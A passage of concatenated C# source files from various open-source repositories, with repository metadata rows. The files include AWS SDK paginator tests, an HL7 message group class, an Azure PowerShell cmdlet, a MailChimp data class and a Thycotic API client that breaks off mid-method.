[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListWorkforcesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListWorkforcesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListWorkforcesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListWorkforcesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListWorkforces(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListWorkforces(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListWorkforcesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListWorkforcesRequest>();
var response = InstantiateClassGenerator.Execute<ListWorkforcesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListWorkforces(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListWorkforces(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListWorkteamsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListWorkteamsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListWorkteamsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListWorkteamsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListWorkteams(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListWorkteams(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListWorkteamsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListWorkteamsRequest>();
var response = InstantiateClassGenerator.Execute<ListWorkteamsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListWorkteams(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListWorkteams(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void SearchTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<SearchRequest>();
var firstResponse = InstantiateClassGenerator.Execute<SearchResponse>();
var secondResponse = InstantiateClassGenerator.Execute<SearchResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.Search(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.Search(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void SearchTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<SearchRequest>();
var response = InstantiateClassGenerator.Execute<SearchResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.Search(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.Search(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
}
}
#endif | 43.159279 | 160 | 0.672034 | [
"Apache-2.0"
] | DetlefGolze/aws-sdk-net | sdk/test/Services/SageMaker/UnitTests/Generated/_bcl45+netstandard/Paginators/SageMakerPaginatorTests.cs | 57,445 | C# |
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("BlankApp")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("BlankApp")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
//In order to begin building localizable applications, set
//<UICulture>CultureYouAreCodingWith</UICulture> in your .csproj file
//inside a <PropertyGroup>. For example, if you are using US english
//in your source files, set the <UICulture> to en-US. Then uncomment
//the NeutralResourceLanguage attribute below. Update the "en-US" in
//the line below to match the UICulture setting in the project file.
//[assembly: NeutralResourcesLanguage("en-US", UltimateResourceFallbackLocation.Satellite)]
[assembly: ThemeInfo(
ResourceDictionaryLocation.None, //where theme specific resource dictionaries are located
//(used if a resource is not found in the page,
// or application resource dictionaries)
ResourceDictionaryLocation.SourceAssembly //where the generic resource dictionary is located
//(used if a resource is not found in the page,
// app, or any theme specific resource dictionaries)
)]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 42.357143 | 98 | 0.706155 | [
"MIT"
] | DamianSuess/Prism.Templates | Wpf/BlankApp/Properties/AssemblyInfo.cs | 2,375 | C# |
using NHapi.Base.Parser;
using NHapi.Base;
using NHapi.Base.Log;
using System;
using System.Collections.Generic;
using NHapi.Model.V28.Segment;
using NHapi.Model.V28.Datatype;
using NHapi.Base.Model;
namespace NHapi.Model.V28.Group
{
///<summary>
///Represents the OML_O21_SPECIMEN Group. A Group is an ordered collection of message
/// segments that can repeat together or be optionally in/excluded together.
/// This Group contains the following elements:
///<ol>
///<li>0: SPM (Specimen) </li>
///<li>1: OML_O21_SPECIMEN_OBSERVATION (a Group object) optional repeating</li>
///<li>2: OML_O21_CONTAINER (a Group object) optional repeating</li>
///</ol>
///</summary>
[Serializable]
public class OML_O21_SPECIMEN : AbstractGroup {
///<summary>
/// Creates a new OML_O21_SPECIMEN Group.
///</summary>
public OML_O21_SPECIMEN(IGroup parent, IModelClassFactory factory) : base(parent, factory){
try {
this.add(typeof(SPM), true, false);
this.add(typeof(OML_O21_SPECIMEN_OBSERVATION), false, true);
this.add(typeof(OML_O21_CONTAINER), false, true);
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error creating OML_O21_SPECIMEN - this is probably a bug in the source code generator.", e);
}
}
///<summary>
/// Returns SPM (Specimen) - creates it if necessary
///</summary>
public SPM SPM {
get{
SPM ret = null;
try {
ret = (SPM)this.GetStructure("SPM");
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e);
throw new System.Exception("An unexpected error ocurred",e);
}
return ret;
}
}
///<summary>
/// Returns first repetition of OML_O21_SPECIMEN_OBSERVATION (a Group object) - creates it if necessary
///</summary>
public OML_O21_SPECIMEN_OBSERVATION GetSPECIMEN_OBSERVATION() {
OML_O21_SPECIMEN_OBSERVATION ret = null;
try {
ret = (OML_O21_SPECIMEN_OBSERVATION)this.GetStructure("SPECIMEN_OBSERVATION");
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e);
throw new System.Exception("An unexpected error ocurred",e);
}
return ret;
}
///<summary>
///Returns a specific repetition of OML_O21_SPECIMEN_OBSERVATION
/// * (a Group object) - creates it if necessary
/// throws HL7Exception if the repetition requested is more than one
/// greater than the number of existing repetitions.
///</summary>
public OML_O21_SPECIMEN_OBSERVATION GetSPECIMEN_OBSERVATION(int rep) {
return (OML_O21_SPECIMEN_OBSERVATION)this.GetStructure("SPECIMEN_OBSERVATION", rep);
}
/**
* Returns the number of existing repetitions of OML_O21_SPECIMEN_OBSERVATION
*/
public int SPECIMEN_OBSERVATIONRepetitionsUsed {
get{
int reps = -1;
try {
reps = this.GetAll("SPECIMEN_OBSERVATION").Length;
} catch (HL7Exception e) {
string message = "Unexpected error accessing data - this is probably a bug in the source code generator.";
HapiLogFactory.GetHapiLog(GetType()).Error(message, e);
throw new System.Exception(message);
}
return reps;
}
}
/**
* Enumerate over the OML_O21_SPECIMEN_OBSERVATION results
*/
public IEnumerable<OML_O21_SPECIMEN_OBSERVATION> SPECIMEN_OBSERVATIONs
{
get
{
for (int rep = 0; rep < SPECIMEN_OBSERVATIONRepetitionsUsed; rep++)
{
yield return (OML_O21_SPECIMEN_OBSERVATION)this.GetStructure("SPECIMEN_OBSERVATION", rep);
}
}
}
///<summary>
///Adds a new OML_O21_SPECIMEN_OBSERVATION
///</summary>
public OML_O21_SPECIMEN_OBSERVATION AddSPECIMEN_OBSERVATION()
{
return this.AddStructure("SPECIMEN_OBSERVATION") as OML_O21_SPECIMEN_OBSERVATION;
}
///<summary>
///Removes the given OML_O21_SPECIMEN_OBSERVATION
///</summary>
public void RemoveSPECIMEN_OBSERVATION(OML_O21_SPECIMEN_OBSERVATION toRemove)
{
this.RemoveStructure("SPECIMEN_OBSERVATION", toRemove);
}
///<summary>
///Removes the OML_O21_SPECIMEN_OBSERVATION at the given index
///</summary>
public void RemoveSPECIMEN_OBSERVATIONAt(int index)
{
this.RemoveRepetition("SPECIMEN_OBSERVATION", index);
}
///<summary>
/// Returns first repetition of OML_O21_CONTAINER (a Group object) - creates it if necessary
///</summary>
public OML_O21_CONTAINER GetCONTAINER() {
OML_O21_CONTAINER ret = null;
try {
ret = (OML_O21_CONTAINER)this.GetStructure("CONTAINER");
} catch(HL7Exception e) {
HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e);
throw new System.Exception("An unexpected error ocurred",e);
}
return ret;
}
///<summary>
///Returns a specific repetition of OML_O21_CONTAINER
/// * (a Group object) - creates it if necessary
/// throws HL7Exception if the repetition requested is more than one
/// greater than the number of existing repetitions.
///</summary>
public OML_O21_CONTAINER GetCONTAINER(int rep) {
return (OML_O21_CONTAINER)this.GetStructure("CONTAINER", rep);
}
/**
* Returns the number of existing repetitions of OML_O21_CONTAINER
*/
public int CONTAINERRepetitionsUsed {
get{
int reps = -1;
try {
reps = this.GetAll("CONTAINER").Length;
} catch (HL7Exception e) {
string message = "Unexpected error accessing data - this is probably a bug in the source code generator.";
HapiLogFactory.GetHapiLog(GetType()).Error(message, e);
throw new System.Exception(message);
}
return reps;
}
}
/**
* Enumerate over the OML_O21_CONTAINER results
*/
public IEnumerable<OML_O21_CONTAINER> CONTAINERs
{
get
{
for (int rep = 0; rep < CONTAINERRepetitionsUsed; rep++)
{
yield return (OML_O21_CONTAINER)this.GetStructure("CONTAINER", rep);
}
}
}
///<summary>
///Adds a new OML_O21_CONTAINER
///</summary>
public OML_O21_CONTAINER AddCONTAINER()
{
return this.AddStructure("CONTAINER") as OML_O21_CONTAINER;
}
///<summary>
///Removes the given OML_O21_CONTAINER
///</summary>
public void RemoveCONTAINER(OML_O21_CONTAINER toRemove)
{
this.RemoveStructure("CONTAINER", toRemove);
}
///<summary>
///Removes the OML_O21_CONTAINER at the given index
///</summary>
public void RemoveCONTAINERAt(int index)
{
this.RemoveRepetition("CONTAINER", index);
}
}
}
| 30.672897 | 154 | 0.707038 | [
"MPL-2.0",
"MPL-2.0-no-copyleft-exception"
] | AMCN41R/nHapi | src/NHapi.Model.V28/Group/OML_O21_SPECIMEN.cs | 6,564 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json;
using RDMdotNet.Models;
using LStoreJSON;
using System.IO;
namespace RDMdotNet.Controllers
{
[Route("api/[controller]")]
public class FakeDataController : Controller
{
JSONStore js = new JSONStore(Environment.GetEnvironmentVariable("LStoreData"));
// GET api/values
[HttpGet]
public IActionResult Get()
{
/*RDSystem sys = new RDSystem(){
ID = Guid.NewGuid().ToString(),
Name = "DXA"+js.InnerList<RDSystem>().Count().ToString(),
Active = true
};
sys.Properties.Add("Bool", true);
sys.Properties.Add("Int", (int)-24);
sys.Properties.Add("UInt", (uint)12);
sys.Properties.Add("Float", 43.27F);
sys.Properties.Add("Char", 'x');
sys.Properties.Add("Decimal", 53005.25M);
Release r = new Release(){
ID = Guid.NewGuid().ToString(),
SystemID = sys.ID,
Active = true,
Name = "DXA_"+js.InnerList<Release>().Count().ToString(),
DeploymentDate = new DateTime(2018,7,1)
};
ChangeSet cs = new ChangeSet(){
ID = Guid.NewGuid().ToString(),
ReleaseID = r.ID,
Active = true,
Name = "DXA_Test_ChangeSet_"+js.InnerList<ChangeSet>().Count().ToString()
};
js.Add(sys);
js.Add(r);
js.Add(cs);
js.SaveChanges();
var x = new {
System = js.All<RDSystem>(),
Release = js.All<Release>(),
ChangeSet = js.All<ChangeSet>()
};
var xx = JSONStore.IsTypeSaveable<RDSystem>();
var xx1 = JSONStore.IsTypeSaveable<ChangeSet>();
return StatusCode(201, x);
Change c = new Change(){
ID=Guid.NewGuid().ToString(),
ChangeSetID = "92aec884-cb79-471d-9450-34f668e84226",
TableID="edu",
ElementID="http://dxa.gov.au/definition/edu/edu316",
Active = true,
Action=ChangeAction.UpdateElement,
ElementName="definition",
NewValue="Identifies whether or not the student/applicant identifies as being of Aboriginal and/or Torres Strait Islander descent"
};
Change c1 = new Change(){
ID=Guid.NewGuid().ToString(),
ChangeSetID = "19f421bd-5cc2-45cc-9c33-99c958ef8a20",
TableID="edu",
ElementID="http://dxa.gov.au/definition/edu/edu333",
Active = true,
Action=ChangeAction.UpdateElement,
ElementName="guidance",
NewValue="AOU"
};
Change c4 = new Change(){
ID=Guid.NewGuid().ToString(),
ChangeSetID = "b2933c47-28f4-4bb1-b522-26077a276553",
TableID="edu",
ElementID="http://dxa.gov.au/definition/edu/edu514",
Active = true,
Action=ChangeAction.RemoveElement
};
Element n = new Element(){ID = Guid.NewGuid().ToString()};
n.Values.Add("name", "TestNewElement");
n.Values.Add("domain", "Education");
n.Values.Add("status", "Standard");
n.Values.Add("definition", "A new element for testing");
n.Values.Add("guidance", "Field Name: FTE-NEW-TEST");
n.Values.Add("identifier", "http://dxa.gov.au/definition/edu/edu999");
n.Values.Add("usage", "[ \"See source for more information\"]");
n.Values.Add("datatype", "[]]");
n.Values.Add("values", "[]");
n.Values.Add("sourceURL", "Who knows");
Change c5 = new Change(){
ID=Guid.NewGuid().ToString(),
ChangeSetID = "92aec884-cb79-471d-9450-34f668e84226",
TableID="edu",
ElementID="http://dxa.gov.au/definition/edu/edu999",
Active = true,
Action=ChangeAction.AddElement,
NewElementPayload = n
};
js.Add(c);
js.Add(c1);
js.Add(c4);
js.Add(c5);
js.SaveChanges();
*/
return StatusCode(201);
}
// GET api/values/5
[HttpGet("{id}")]
public IActionResult Get(string id)
{
List<string> files = new List<string>();
files.Add("edu.json");
files.Add("ce.json");
files.Add("fi.json");
files.Add("fs.json");
files.Add("ss.json");
files.Add("trc.json");
foreach (string x in files)
{
SaveTableToFile(x);
}
return StatusCode(201, js.Single<RDSystem>(id));
}
private void SaveTableToFile (string filename)
{
Table tbl = new Table();
string jsonData;
using (StreamReader sr = new StreamReader("wwwroot\\"+filename))
{
jsonData = sr.ReadToEnd();
}
Newtonsoft.Json.Linq.JObject JsonObj = JsonConvert.DeserializeObject<Newtonsoft.Json.Linq.JObject>(jsonData);
var proep = JsonObj.Properties();
foreach (Newtonsoft.Json.Linq.JProperty p in proep)
{
if (!(p.Name.Equals("acronym") | p.Name.Equals("content")))
{
tbl.TableProperties.Add(p.Name, p.Value.ToString());
} else if (p.Name.Equals("acronym"))
{
tbl.ID = p.Value.ToString();
} else if (p.Name.Equals("content"))
{
Element e;
Newtonsoft.Json.Linq.JArray v = (Newtonsoft.Json.Linq.JArray)p.Value;
foreach(var attributex in v)
{
e = new Element();
foreach (Newtonsoft.Json.Linq.JProperty t in attributex)
{
if(t.Name.Equals("identifier"))
{
e.ID = t.Value.ToString();
}
e.Values.Add(t.Name,t.Value.ToString());
}
tbl.TableElements.Add(e.ID,e);
}
}
}
js.Add(tbl);
js.SaveChanges();
}
// POST api/values
[HttpPost]
public IActionResult Post([FromBody]string value)
{
return StatusCode(201);
}
// PUT api/values/5
[HttpPut("{id}")]
public IActionResult Put(int id, [FromBody]string value)
{
return StatusCode(201);
}
// DELETE api/values/5
[HttpDelete("{id}")]
public IActionResult Delete(string id)
{
js.Remove(new RDSystem(){ID = id});
return StatusCode(201);
}
}
}
| 34.37963 | 146 | 0.477107 | [
"MIT"
] | thezaza101/RDMdotNet | src/Controllers/FakeDataController.cs | 7,428 | C# |
using System.Windows;
using System.Windows.Controls;
using BIDSDataUpdateNotifier;
namespace caMon.pages.BIDSDataUpdateNotifierUsecase
{
public class LampControl : Control
{
static public DependencyProperty ValueCheckerProperty = DependencyProperty.Register(nameof(ValueChecker), typeof(IValueChecker<bool>), typeof(LampControl));
public BoolValueProvider ValueChecker { get => GetValue(ValueCheckerProperty) as BoolValueProvider; set => SetValue(ValueCheckerProperty, value); }
static public DependencyProperty ContentProperty = DependencyProperty.Register(nameof(Content), typeof(object), typeof(LampControl));
public object Content { get => GetValue(ContentProperty); set => SetValue(ContentProperty, value); }
static LampControl() => DefaultStyleKeyProperty.OverrideMetadata(typeof(LampControl), new FrameworkPropertyMetadata(typeof(LampControl)));
}
}
| 44 | 158 | 0.806818 | [
"MIT"
] | TetsuOtter/caMon | caMon.pages.BIDSDataUpdateNotifierUsecase/LampControl.cs | 882 | C# |
using System.Collections.Generic;
using System.Runtime.Serialization;
namespace MailChimp.Helper
{
/// <summary>
/// Account information including payments made, plan info,
/// some account stats, installed modules, contact info, and more. No private
/// information like Credit Card numbers is available.
/// More information: http://apidocs.mailchimp.com/api/2.0/helper/account-details.php
/// </summary>
[DataContract]
public class AccountDetails
{
/// <summary>
/// The Account username
/// </summary>
[DataMember(Name = "username")]
public string Username
{
get;
set;
}
/// <summary>
/// The Account user unique id (for building some links)
/// </summary>
[DataMember(Name = "user_id")]
public string UserId
{
get;
set;
}
/// <summary>
/// Whether the Account is in Trial mode (can only send campaigns to less than 100 emails)
/// </summary>
[DataMember(Name = "is_trial")]
public bool IsTrial
{
get;
set;
}
/// <summary>
/// Whether the Account has been approved for purchases
/// </summary>
[DataMember(Name = "is_approved")]
public bool IsApproved
{
get;
set;
}
/// <summary>
/// Whether the Account has been activated
/// </summary>
[DataMember(Name = "has_activated")]
public bool HasActivated
{
get;
set;
}
/// <summary>
/// The timezone for the Account - default is "US/Eastern"
/// </summary>
[DataMember(Name = "timezone")]
public string TimeZone
{
get;
set;
}
/// <summary>
/// Plan Type - "monthly", "payasyougo", or "free"
/// </summary>
[DataMember(Name = "plan_type")]
public string PlanType
{
get;
set;
}
/// <summary>
/// only for Monthly plans - the lower tier for list size
/// </summary>
[DataMember(Name = "plan_low")]
public int PlanLow
{
get;
set;
}
/// <summary>
/// only for Monthly plans - the upper tier for list size
/// </summary>
[DataMember(Name = "plan_high")]
public int PlanHigh
{
get;
set;
}
/// <summary>
/// only for Monthly plans - the start date for a monthly plan
/// </summary>
[DataMember(Name = "plan_start_date")]
public string PlanStartDate
{
get;
set;
}
/// <summary>
/// only for Free and Pay-as-you-go plans - emails credits left for the account
/// </summary>
[DataMember(Name = "emails_left")]
public int EmailsLeft
{
get;
set;
}
/// <summary>
/// Whether the account is finishing Pay As You Go credits before switching to a Monthly plan
/// </summary>
[DataMember(Name = "pending_monthly")]
public bool PendingMonthly
{
get;
set;
}
/// <summary>
/// date of first payment
/// </summary>
[DataMember(Name = "first_payment")]
public string FirstPayment
{
get;
set;
}
/// <summary>
/// date of most recent payment
/// </summary>
[DataMember(Name = "last_payment")]
public string LastPayment
{
get;
set;
}
/// <summary>
/// total number of times the account has been logged into via the web
/// </summary>
[DataMember(Name = "times_logged_in")]
public int TimesLoggedIn
{
get;
set;
}
/// <summary>
/// date/time of last login via the web
/// </summary>
[DataMember(Name = "last_login")]
public string LastLogin
{
get;
set;
}
/// <summary>
/// Monkey Rewards link for our Affiliate program
/// </summary>
[DataMember(Name = "affilate_link")]
public string AffiliateLink
{
get;
set;
}
/// <summary>
/// Contact details for the account
/// </summary>
[DataMember(Name = "contact")]
public Contact ContactInfo
{
get;
set;
}
/// <summary>
/// A list of addon modules installed in the account
/// </summary>
[DataMember(Name = "modules")]
public List<Module> ModuleInfo
{
get;
set;
}
/// <summary>
/// A list of orders for the account
/// </summary>
[DataMember(Name = "orders")]
public List<Order> OrderInfo
{
get;
set;
}
/// <summary>
/// Rewards details for the account including credits and inspections earned,
/// number of referrals, referral details, and rewards used
/// </summary>
[DataMember(Name = "rewards")]
public Rewards RewardInfo
{
get;
set;
}
/// <summary>
/// A list of each connected integration that can be used with campaigns
/// </summary>
[DataMember(Name = "integrations")]
public List<Integration> IntegrationInfo
{
get;
set;
}
}
}
| 24.628692 | 101 | 0.47473 | [
"MIT"
] | IDisposable/MailChimp.NET | MailChimp/Helper/AccountDetails.cs | 5,839 | C# |
using System.Linq;
namespace EntityFramework6.Test.Infrastructure
{
public class ValuesHelper
{
public static int GetNonPublishedStatus(Mapping mapping)
{
if (IsDynamicMapping(mapping))
{
return 240;
}
else
{
return 144;
}
}
public static string GetFileContentId(Mapping mapping)
{
if (IsDynamicMapping(mapping))
{
return "771";
}
else
{
return "628";
}
}
public static int GetSchemaContentId(Mapping mapping)
{
if (IsDynamicMapping(mapping))
{
return 758;
}
else
{
return 620;
}
}
public static int GetSchemaTitleFieldId(Mapping mapping)
{
if (IsDynamicMapping(mapping))
{
return 38529;
}
else
{
return 38031;
}
}
private static bool IsDynamicMapping(Mapping mapping)
{
return new[] { Mapping.DatabaseDynamicMapping, Mapping.FileDynamicMapping }.Contains(mapping);
}
}
}
| 21.934426 | 106 | 0.443199 | [
"MPL-2.0",
"MPL-2.0-no-copyleft-exception"
] | QuantumArt/QP.EntityFramework | EntityFramework6.Test/Infrastructure/ValuesHelper.cs | 1,340 | C# |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/******************************************************************************
* This file is auto-generated from a template file by the GenerateTests.csx *
* script in tests\src\JIT\HardwareIntrinsics\General\Shared. In order to make *
* changes, please update the corresponding template and run according to the *
* directions listed in the file. *
******************************************************************************/
using System;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Intrinsics;
namespace JIT.HardwareIntrinsics.General
{
public static partial class Program
{
private unsafe static void ToStringInt32()
{
int size = Unsafe.SizeOf<Vector128<Int32>>() / sizeof(Int32);
Int32[] values = new Int32[size];
for (int i = 0; i < size; i++)
{
values[i] = TestLibrary.Generator.GetInt32();
}
Vector128<Int32> vector = Vector128.Create(values[0], values[1], values[2], values[3]);
string actual = vector.ToString();
string expected = '<' + string.Join(", ", values.Select(x => x.ToString("G", System.Globalization.CultureInfo.InvariantCulture))) + '>';
bool succeeded = string.Equals(expected, actual, StringComparison.Ordinal);
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"Vector128Int32ToString: Vector128<Int32>.ToString() returned an unexpected result.");
TestLibrary.TestFramework.LogInformation($"Expected: {expected}");
TestLibrary.TestFramework.LogInformation($"Actual: {actual}");
TestLibrary.TestFramework.LogInformation(string.Empty);
throw new Exception("One or more scenarios did not complete as expected.");
}
}
}
}
| 42.823529 | 148 | 0.587912 | [
"MIT"
] | 06needhamt/runtime | src/coreclr/tests/src/JIT/HardwareIntrinsics/General/Vector128_1/ToString.Int32.cs | 2,184 | C# |
// ----------------------------------------------------------------------------------
//
// Copyright Microsoft Corporation
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ----------------------------------------------------------------------------------
using Microsoft.Azure.Management.Internal.Resources.Utilities.Models;
using Microsoft.WindowsAzure.Commands.Common.CustomAttributes;
using Microsoft.WindowsAzure.Commands.Utilities.Common;
using System;
using System.Linq;
using System.Management.Automation;
namespace Microsoft.Azure.Commands.Network
{
[Cmdlet(VerbsCommon.Remove, ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "PrivateEndpointConnection", DefaultParameterSetName = "ByResourceId", SupportsShouldProcess = true), OutputType(typeof(bool))]
public class RemoveAzurePrivateEndpointConnection : PrivateEndpointConnectionBaseCmdlet
{
[Alias("ResourceName")]
[Parameter(
Mandatory = true,
ValueFromPipelineByPropertyName = true,
HelpMessage = "The resource name.",
ParameterSetName = "ByResource")]
[ValidateNotNullOrEmpty]
public override string Name { get; set; }
[CmdletParameterBreakingChange("Description", ChangeDescription = "Parameter is being deprecated without being replaced")]
[Parameter(
Mandatory = false,
ValueFromPipelineByPropertyName = true,
HelpMessage = "The reason of action.")]
public string Description { get; set; }
[Parameter(
Mandatory = false,
HelpMessage = "Do not ask for confirmation if you want to delete resource")]
public SwitchParameter Force { get; set; }
[Parameter(Mandatory = false, HelpMessage = "Run cmdlet in the background")]
public SwitchParameter AsJob { get; set; }
[Parameter(
Mandatory = false)]
public SwitchParameter PassThru { get; set; }
public override void Execute()
{
base.Execute();
if (this.IsParameterBound(c => c.ResourceId))
{
var resourceIdentifier = new ResourceIdentifier(this.ResourceId);
this.ResourceGroupName = resourceIdentifier.ResourceGroupName;
this.Name = resourceIdentifier.ResourceName;
this.Subscription = resourceIdentifier.Subscription;
this.PrivateLinkResourceType = resourceIdentifier.ResourceType.Substring(0, resourceIdentifier.ResourceType.LastIndexOf('/'));
this.ServiceName = resourceIdentifier.ParentResource.Split(new[] { '/' }, StringSplitOptions.RemoveEmptyEntries).Last();
}
IPrivateLinkProvider provider = BuildProvider(this.Subscription, this.PrivateLinkResourceType);
ConfirmAction(
Force.IsPresent,
string.Format(Properties.Resources.RemovingResource, ServiceName),
Properties.Resources.RemoveResourceMessage,
ServiceName,
() =>
{
provider.DeletePrivateEndpointConnection(this.ResourceGroupName, this.ServiceName, this.Name);
if (PassThru)
{
WriteObject(true);
}
});
}
}
}
| 45.229885 | 216 | 0.615248 | [
"MIT"
] | 3quanfeng/azure-powershell | src/Network/Network/PrivateLinkService/PrivateEndpointConnection/RemoveAzurePrivateEndpointConnection.cs | 3,851 | C# |
using System;
using Ayehu.Sdk.ActivityCreation.Interfaces;
using Ayehu.Sdk.ActivityCreation.Extension;
using Ayehu.Sdk.ActivityCreation.Helpers;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Collections.Generic;
namespace Ayehu.Thycotic
{
public class TY_Update_an_engine_proxy_configuration : IActivityAsync
{
public string endPoint = "https://{hostname}";
public string Jsonkeypath = "";
public string password1 = "";
public string id_p = "";
public string bindIpAddress = "";
public string engineId = "";
public string friendlyName = "";
public string publicHost = "";
public string siteName = "";
private bool omitJsonEmptyorNull = true;
private string contentType = "application/json";
private string httpMethod = "PATCH";
private string _uriBuilderPath;
private string _postData;
private System.Collections.Generic.Dictionary<string, string> _headers;
private System.Collections.Generic.Dictionary<string, string> _queryStringArray;
private string uriBuilderPath {
get {
if (string.IsNullOrEmpty(_uriBuilderPath)) {
_uriBuilderPath = string.Format("SecretServer/api/v1/proxy/endpoints/engines/{0}",id_p);
}
return _uriBuilderPath;
}
set {
this._uriBuilderPath = value;
}
}
private string postData {
get {
if (string.IsNullOrEmpty(_postData)) {
_postData = string.Format("{{ \"bindIpAddress\": \"{0}\", \"engineId\": \"{1}\", \"friendlyName\": \"{2}\", \"publicHost\": \"{3}\", \"siteName\": \"{4}\" }}",bindIpAddress,engineId,friendlyName,publicHost,siteName);
}
return _postData;
}
set {
this._postData = value;
}
}
private System.Collections.Generic.Dictionary<string, string> headers {
get {
if (_headers == null) {
_headers = new Dictionary<string, string>() { {"Authorization","Bearer " + password1} };
}
return _headers;
}
set {
this._headers = value;
}
}
private System.Collections.Generic.Dictionary<string, string> queryStringArray {
get {
if (_queryStringArray == null) {
_queryStringArray = new Dictionary<string, string>() { };
}
return _queryStringArray;
}
set {
this._queryStringArray = value;
}
}
public TY_Update_an_engine_proxy_configuration() {
}
public TY_Update_an_engine_proxy_configuration(string endPoint, string Jsonkeypath, string password1, string id_p, string bindIpAddress, string engineId, string friendlyName, string publicHost, string siteName) {
this.endPoint = endPoint;
this.Jsonkeypath = Jsonkeypath;
this.password1 = password1;
this.id_p = id_p;
this.bindIpAddress = bindIpAddress;
this.engineId = engineId;
this.friendlyName = friendlyName;
this.publicHost = publicHost;
this.siteName = siteName;
}
public async System.Threading.Tasks.Task<ICustomActivityResult> Execute()
{
HttpClient client = new HttpClient();
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(AcceptAllCertifications);
UriBuilder UriBuilder = new UriBuilder(endPoint);
UriBuilder.Path = uriBuilderPath;
UriBuilder.Query = AyehuHelper.queryStringBuilder(queryStringArray);
HttpRequestMessage myHttpRequestMessage = new HttpRequestMessage(new HttpMethod(httpMethod), UriBuilder.ToString());
if (contentType == "application/x-www-form-urlencoded")
myHttpRequestMessage.Content = AyehuHelper.formUrlEncodedContent(postData);
else
if (string.IsNullOrEmpty(postData) == false)
if (omitJsonEmptyorNull)
